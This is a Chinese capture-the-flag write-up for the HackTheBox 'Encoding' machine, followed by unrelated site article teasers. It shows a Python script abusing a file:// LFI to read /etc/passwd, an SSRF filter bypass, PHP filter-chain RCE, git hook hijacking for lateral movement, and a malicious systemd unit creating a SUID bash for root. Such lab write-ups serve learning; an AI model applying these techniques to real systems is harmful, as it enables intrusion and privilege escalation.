HackTheBox - Medium - Linux - Encoding

news2024/11/20 11:24:29

Encoding

前言

经过10个月左右的网安自学,我想说的第一句话无疑是:感谢TryHackMe。当然,后续的HackTheBox&学院、CRTO等等,对我的帮助都很大。

许多师傅们都在年度总结,我也看了大家都收获很多,都很厉害。我想我就没有必要了,我想在2023这一年里我的博客内容就是最棒的总结和结果.

昨天是我没有打htb靶机并且写wp的一天, 昨晚也是2023年最后一个夜晚,我们TryHackMyOffsecBox的八位师傅们一起在htb打4v4攻防对抗

file

当然啦,最终我也是惜败了,重要是我们八位师傅都使用kook语音交流,氛围很棒,双方的攻防过程也很爽,各位师傅反馈虽然靶机总是出问题,但是整体还是很爽的

file

我方视角:

【2023年最后一晚 - HTB 网络安全4v4攻防对抗 M1n9K1n9第一视角-哔哩哔哩】 https://b23.tv/qdcYL2m

对方视角:

【TryHackMyOffsecBox 跨年活动 4v4 对抗 Cyber Mayhem Randark第一视角-哔哩哔哩】 https://b23.tv/NQup0VD


目前htb 4v4攻防对抗这个游戏已经被我设置为群周常活动,每周日晚开打

就像一年前的今天,我在thm初学并且第一次打koth一样,这是历史以一种类似的方式重新上演了。

file

file

总而言之,保持学习,向大佬学习,继续向前,宁愿做大佬堆里的腊鸡,也不愿意做…


Encoding是一种中等难度的 Linux 计算机,其 Web 应用程序容易受到本地文件读取的攻击。通过读取目标上的任意文件的能力,攻击者可以首先利用 Web 应用程序中的 PHP LFI 漏洞,以“www-data”用户身份访问服务器。然后,他们可以在服务器上发现一个名为“git-commit.sh”的脚本,该脚本允许他们以 James 用户的身份提交代码。通过检查“utils.php”文件,攻击者可以发现该脚本以具有 sudo 权限的“svc”用户身份运行。通过恶意 Git 钩子,攻击者可以获取“svc”用户的 SSH 密钥。该用户可以通过 sudo 以 root 用户身份重启服务。攻击者可滥用此权限,通过修改现有服务文件或创建新服务文件,以 root 身份执行任意代码。


外部信息收集

端口扫描

循例nmap

file

Web枚举

任意文件读取

在api中看到一个

file

尝试一下就可以发现,这里存在LFI,把http改file协议

import requests

json_data = {
    'action': 'str2hex',
    'file_url' : 'file:///etc/passwd'

}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

decode就可以得到明文数据

file

读apache默认配置

<VirtualHost *:80>
	ServerName haxtables.htb
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html


	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>


<VirtualHost *:80>
	ServerName api.haxtables.htb
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/api
	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
        ServerName image.haxtables.htb
        ServerAdmin webmaster@localhost
        
	DocumentRoot /var/www/image

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
	#SecRuleEngine On

	<LocationMatch />
  		SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
  		SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
  		SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
  		SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
  		Header always set Retry-After "10" env=RATELIMITED
	</LocationMatch>

	ErrorDocument 429 "Rate Limit Exceeded"

        <Directory /var/www/image>
                Deny from all
                Allow from 127.0.0.1
                Options Indexes FollowSymLinks
                AllowOverride All
                Require all granted
        </DIrectory>

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读/var/www/image/index.php

<?php 
include_once 'utils.php';
include 'includes/coming_soon.html';
?>

utils.php

<?php

// Global functions
function jsonify($body, $code = null)
{
    if ($code) {
        http_response_code($code);
    }
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($body);
    exit;
}

function get_url_content($url)
{
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    $url_content =  curl_exec($ch);
    curl_close($ch);
    return $url_content;
}

function git_status()
{
    $status = shell_exec('cd /var/www/image && /usr/bin/git status');
    return $status;
}

function git_log($file)
{
    $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
    return $log;
}

function git_commit()
{
    $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
    return $commit;
}
?>

Foothold

从上面两个函数里面的内容来看,/var/www/image下有git存储库

参考这篇文章,我们将手动从.git重建存储库

读HEAD看当前分支的引用

file:///var/www/image/.git/HEAD

file

继续读 .git/refs/heads/master

file

本地创建个目录并且创建git存储库

file

将文件下到本地

.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b

file

git cat-file

file

接着读tree

.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49

file

读actions

file

读action_handler.php,经典文件包含

┌──(ming👻m1n9k1n9-parrot)-[~/test]
└─$ git cat-file -p 2d600ee8a453abd9bd515c41c8fa786b95f96f82
<?php

include_once 'utils.php';

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);

} else {
    echo jsonify(['message' => 'No page specified!']);
}

?>

然而image子域我们是无权访问的,但我们可以通过最开始的文件读取漏洞来转换为SSRF

utils.php中做了限制,我们通过@来绕过

file

现在我们可以读到目标上的文件,同时我发现php://filter 也可用,但是就是无法访问目标机器外的远程文件,无法触发RFI

这篇文章给我们非常详细的讲述了如何绕过这种限制,并且利用iconv包装器通过奇奇怪怪的编码转换,在读取的文件头部中最终插入我们期望的字符串,最终导致RCE

脚本则在github

我们执行id命令

file

file

常规bash reverse shell

file

file

本地横向移动 -> svc

sudo -l

file

发现.git有acl

file

进.git/一看,全有acl

file

既然hooks全都可写,那就是经典hook劫持

我们劫持git commit后会触发的post-commit

file

file

此外,我们还需要通过–work-tree参数设置到其他目录,然后提交其他文件,因为我们在image/下无权新增其他文件

file

nc

file

本地权限提升

sudo -l

file

不出意外的话就要出意外了

从sudo -l这个条目不难看出进攻思路,当前用户svc肯定是对某个服务的配置文件可写,然后我们restart执行命令提权

在/etc/systemd下又发现system有acl,但是不可读

file

然而other可读,我们需要www-data的shell帮助我们

system/里面也是全是acl,随便看一个文件的acl,发现svc可写

file

接下来就相当轻松也很熟悉了,随便搞个配置,抓住ExecStart

[Unit]
Description=My Service

[Service]
User=root
Group=root
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"

[Install]
WantedBy=default.target

保存到文件并且base64

file

将base64在目标上解码并写入system/,再sudo去restart,我们的老朋友将如期而至

file

root flag还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1358409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何委婉地告诉老板,BI连接金蝶ERP,对决策更有利?

网友&#xff1a;新入职一家企业&#xff0c;发现这家企业依旧是从金蝶ERP中导出数据做分析&#xff0c;这样数据量一大、科目变动多就很难保证数据分析的及时性、灵活性&#xff0c;说真的这对决策来说并不是什么好事。但老板似乎并不觉得这有什么不对。我该如何委婉地告诉老板…

吉林大学19、21级计算机学院《计算机网络》期末真题试题

一、21级&#xff08;考后回忆&#xff09; 一、不定项选择&#xff08;一共10个选择题&#xff0c;一个两分&#xff0c;选全得满分&#xff09; 不定项&#xff1a;可以选择1~4个 考点有&#xff1a; ①协议、服务 ②码分多路复用通过接受码片序列&#xff0c;求哪个站点发送…

PyCharm社区版设置简体中文界面

点击“File”&#xff0c; 出现的菜单中点击“Settings”, 在弹出的界面中&#xff0c;选“Plugins”&#xff0c; 然后在右边输入框中输入“chinese”, 在搜索结果中&#xff0c;选中Chinese(Simplified) Language Pack&#xff0c; 点击右边的“install”即可 最后“r…

打开软件游戏提示缺少msvcp140.dll的解决方法,修复缺少140dll文件的方法

一、msvcp140.dll是什么文件&#xff1f; msvcp140.dll是Microsoft Visual C 2015 Redistributable Package的一部分&#xff0c;它是运行许多Windows应用程序所必需的动态链接库文件之一。它包含了许多C类库&#xff0c;这些类库为开发人员提供了丰富的功能和工具&#xff0c…

【tensorflowflutter】自己写个机器学习模型用在项目上?

背景 拍摄APP项目上线有一阵了&#xff0c;每天的拍摄数据呈现波动上升状态、业务方需要对数据进行加工&#xff0c;如果能有对未来的数据量的预测就好了 。 目标 在端侧展示拍摄数据可视化趋势图等、并能推断数据&#xff08;选择预测日期&#xff09; 简单实现个demo gif背…

Keil5----生成hex文件和bin文件

Keil5编译环境搭建----教程目录 keil5----生成hex文件 具体步骤如下&#xff1a; 步骤1&#xff1a; 点击 魔法棒 “Options for Target” 。步骤2&#xff1a; 单击 Output。步骤3&#xff1a; 选择输出生成文件的路径。步骤4&#xff1a; 自定义生成的hex文件名。步骤5&am…

SpringBoot+Vue轻松实现考试管理系统

简介 本系统基于 Spring Boot 搭建的方便易用、高颜值的教学管理平台&#xff0c;提供多租户、权限管理、考试、练习、在线学习等功能。主要功能为在线考试、练习、刷题&#xff0c;在线学习。课程内容支持图文、视频&#xff0c;考试类型支持考试、练习、问卷。 源码下载 网…

算法专题六:模拟

一.替换所有的问号 替换所有的问号 1.思路一 class Solution { public:string modifyString(string s) {for(int i0;i<s.size();i){if(s[i] ?){for(char j a ; j<z ; j){//1.注意数组越界if((i0 || s[i-1] ! j) && (is.size()-1 || s[i1] ! j)){s[i] j;brea…

为什么说上了金蝶、用友系统后,下一步是部署BI?

经常有些不熟悉BI工具的用户问我&#xff1a;金蝶、用友系统和BI工具与什么区别&#xff0c;为什么说上了金蝶、用友系统后&#xff0c;下一步就是部署BI&#xff1f;这两个系统工具的功能不重叠吗&#xff1f; 首先&#xff0c;要了解金蝶、用友系统和BI工具的各自作用。 金…

第10课 利用windows API捕获桌面图像并通过FFmpeg分享

在上一章&#xff0c;我们已经实现了一对一音视频对话功能。在实际应用中&#xff0c;我们常需要把自己的电脑桌面分享给他人以实现桌面共享功能&#xff0c;这种功能在视频会议、在线教学等场景中很常见&#xff0c;这种功能如何实现呢&#xff1f;这节课我们就来解决这个问题…

我的小学时代——一段充满乐趣与探索的旅程

我的小学时代——一段充满乐趣与探索的旅程 在我深深的回忆中&#xff0c;小学时代是一段无比珍贵且充满活力与探索的时光&#xff0c;那是我在梓潼路小学度过的五载黄金岁月&#xff0c;从1979年开始&#xff0c;我迈进了那扇标志着人生学习之旅起点的大门。 梓潼路小学作为一…

新一代爬取JavaScript渲染页面的利器-playwright(二)

接上文&#xff1a;新一代爬取JavaScript渲染页面的利器-playwright&#xff08;一&#xff09;   上文我们主要讲了Playwright的特点、安装、基本使用、代码生成的使用以及模拟移动端浏览&#xff0c;这篇我们主要讲下Playwright的选择器以及常见的操作方法。 6.选择器 我们…

使用PowerJob做任务调度模块

最近项目中使用了PowerJob做任务调度模块&#xff0c;感觉这个框架真香&#xff0c;今天我们就来深入了解一下新一代的定时任务框架——PowerJob&#xff01; 简介 PowerJob是基于java开发的企业级的分布式任务调度平台&#xff0c;与xxl-job一样&#xff0c;基于web页面实现…

宽压输入1.5KV隔离直流高压输出电源模块

GRC系列低成本小体积宽电压输入隔离高压模块电源&#xff0c;是一款业界的隔离稳压型DC-DC高电压转换器&#xff0c;可在宽范围波动的不稳定电压输入环境中运行&#xff0c;通过模块的内部调整电路可以生成隔离稳压的直流高电压输出。产品外壳采用铝壳喷塑防腐设计&#xff0c;…

RTU数据采集终端

在现代工业控制系统中&#xff0c;数据采集是一个至关重要的步骤。RTU(远程终端单元)作为一种常用的数据采集终端设备&#xff0c;不仅可以实现数据的采集和传输&#xff0c;还可以实现现场设备的远程监控和控制。 一、RTU数据采集终端的工作原理 RTU数据采集终端是一种将现场…

springboot社区养老服务系统设计与实现

&#x1f345;点赞收藏关注 → 私信领取本源代码、数据库&#x1f345; 本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目希望你能有所收获&#xff0c;少走一些弯路。&#x1f345;关注我不迷路&#x1f345;一 、设计说明 1.1 研究背景 当…

Spring框架-入门(IOC,DI)

文章目录 Spring框架简介创建Spring项目理解IOC和DI&#xff1a;IOC控制反转示例pom.xmlPerson.javaapplicationContext.xmlPersonTest.java DI依赖注入传统的方式GreetingService.javaGreetingServiceImpl.javaGreetingTest.java 使用DI依赖注入GreetingService.javaGreetingS…

关于系统设计的一些思考

0.前言 当我们站在系统设计的起点&#xff0c;面对一个新的需求&#xff0c;我们该如何开始呢&#xff1f;这是许多处于系统分析与设计领域的新手常常思考的问题。有些人可能会误以为&#xff0c;只要掌握了诸如面向对象、统一建模语言、设计模式、微服务、Serverless、Servic…

电脑视频剪辑软件哪个好用

电脑视频剪辑软件是当今创作者不可或缺的工具之一&#xff0c;它们能够帮助我们在电脑上对视频进行编辑、剪辑、特效添加等操作&#xff0c;使我们的作品更加专业、精美。然而&#xff0c;在众多的视频剪辑软件中&#xff0c;该选择哪一个呢&#xff1f;本文将为你推荐2款非常好…

全网最细,接口+接口自动化测试面试题汇总(附回答)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、我们测试的接口…